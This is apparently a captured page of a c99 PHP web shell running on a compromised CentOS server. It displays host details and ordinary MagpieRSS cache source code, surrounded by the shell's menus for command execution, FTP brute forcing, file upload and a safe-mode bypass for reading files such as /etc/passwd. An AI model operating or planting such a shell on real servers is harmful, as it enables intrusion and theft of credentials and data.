!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/alumni/inc/magpie/   drwxr-xr-x
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     rss_cache.inc (6.23 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 * Project:     MagpieRSS: a simple RSS integration tool
 * File:        rss_cache.inc, a simple, rolling(no GC), cache 
 *              for RSS objects, keyed on URL.
 * Author:      Kellan Elliott-McCrea <kellan@protest.net>
 * Version:     0.51
 * License:     GPL
 *
 * The lastest version of MagpieRSS can be obtained from:
 * http://magpierss.sourceforge.net
 *
 * For questions, help, comments, discussion, etc., please join the
 * Magpie mailing list:
 * http://lists.sourceforge.net/lists/listinfo/magpierss-general
 *
 */

class RSSCache {
    var 
$BASE_CACHE './cache';    // where the cache files are stored
    
var $MAX_AGE    3600;         // when are files stale, default one hour
    
var $ERROR      "";           // accumulate error messages
    
    
function RSSCache ($base=''$age='') {
        if ( 
$base ) {
            
$this->BASE_CACHE $base;
        }
        if ( 
$age ) {
            
$this->MAX_AGE $age;
        }
        
        
// attempt to make the cache directory
        
if ( ! file_exists$this->BASE_CACHE ) ) {
            
$status = @mkdir$this->BASE_CACHE0755 );
            
            
// if make failed 
            /*if ( ! $status ) {
                $this->error(
                    "Cache couldn't make dir '" . $this->BASE_CACHE . "'."
                );
            }*/
        
}
    }
    
/*=======================================================================*\
    Function:   set
    Purpose:    add an item to the cache, keyed on url
    Input:      url from wich the rss file was fetched
    Output:     true on sucess  
\*=======================================================================*/
    
function set ($url$rss) {
        
$this->ERROR "";
        
$cache_file $this->file_name$url );
        
$fp = @fopen$cache_file'w' );
        
        if ( ! 
$fp ) {
            
/*$this->error(
                "Cache unable to open file for writing: $cache_file"
            );*/
            
return 0;
        }
        
        
        
$data $this->serialize$rss );
        
fwrite$fp$data );
        
fclose$fp );
        
        return 
$cache_file;
    }
    
/*=======================================================================*\
    Function:   get
    Purpose:    fetch an item from the cache
    Input:      url from wich the rss file was fetched
    Output:     cached object on HIT, false on MISS 
\*=======================================================================*/ 
    
function get ($url) {
        
$this->ERROR "";
        
$cache_file $this->file_name$url );
        
        if ( ! 
file_exists$cache_file ) ) {
            
$this->debug
                
"Cache doesn't contain: $url (cache file: $cache_file)"
            
);
            return 
0;
        }
        
        
$fp = @fopen($cache_file'r');
        if ( ! 
$fp ) {
            
$this->error(
                
"Failed to open cache file for reading: $cache_file"
            
);
            return 
0;
        }
        
        if (
$filesize filesize($cache_file) ) {
            
$data fread$fpfilesize($cache_file) );
            
$rss $this->unserialize$data );
        
            return 
$rss;
        }
        
        return 
0;
    }

/*=======================================================================*\
    Function:   check_cache
    Purpose:    check a url for membership in the cache
                and whether the object is older then MAX_AGE (ie. STALE)
    Input:      url from wich the rss file was fetched
    Output:     cached object on HIT, false on MISS 
\*=======================================================================*/     
    
function check_cache $url ) {
        
$this->ERROR "";
        
$filename $this->file_name$url );
        
        if ( 
file_exists$filename ) ) {
            
// find how long ago the file was added to the cache
            // and whether that is longer then MAX_AGE
            
$mtime filemtime$filename );
            
$age time() - $mtime;
            if ( 
$this->MAX_AGE $age ) {
                
// object exists and is current
                
return 'HIT';
            }
            else {
                
// object exists but is old
                
return 'STALE';
            }
        }
        else {
            
// object does not exist
            
return 'MISS';
        }
    }

    function 
cache_age$cache_key ) {
        
$filename $this->file_name$url );
        if ( 
file_exists$filename ) ) {
            
$mtime filemtime$filename );
            
$age time() - $mtime;
            return 
$age;
        }
        else {
            return -
1;    
        }
    }
    
/*=======================================================================*\
    Function:   serialize
\*=======================================================================*/     
    
function serialize $rss ) {
        return 
serialize$rss );
    }

/*=======================================================================*\
    Function:   unserialize
\*=======================================================================*/     
    
function unserialize $data ) {
        return 
unserialize$data );
    }
    
/*=======================================================================*\
    Function:   file_name
    Purpose:    map url to location in cache
    Input:      url from wich the rss file was fetched
    Output:     a file name
\*=======================================================================*/     
    
function file_name ($url) {
        
$filename md5$url );
        return 
joinDIRECTORY_SEPARATOR, array( $this->BASE_CACHE$filename ) );
    }

/*=======================================================================*\
    Function:   error
    Purpose:    register error
\*=======================================================================*/         
    
function error ($errormsg$lvl=E_USER_WARNING) {
        
// append PHP's error message if track_errors enabled
        
if ( isset($php_errormsg) ) { 
            
$errormsg .= " ($php_errormsg)";
        }
        
$this->ERROR $errormsg;
        if ( 
MAGPIE_DEBUG ) {
            
trigger_error$errormsg$lvl);
        }
        else {
            
error_log$errormsg0);
        }
    }
    
    function 
debug ($debugmsg$lvl=E_USER_NOTICE) {
        if ( 
MAGPIE_DEBUG ) {
            
$this->error("MagpieRSS [debug] $debugmsg"$lvl);
        }
    }

}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0193 ]--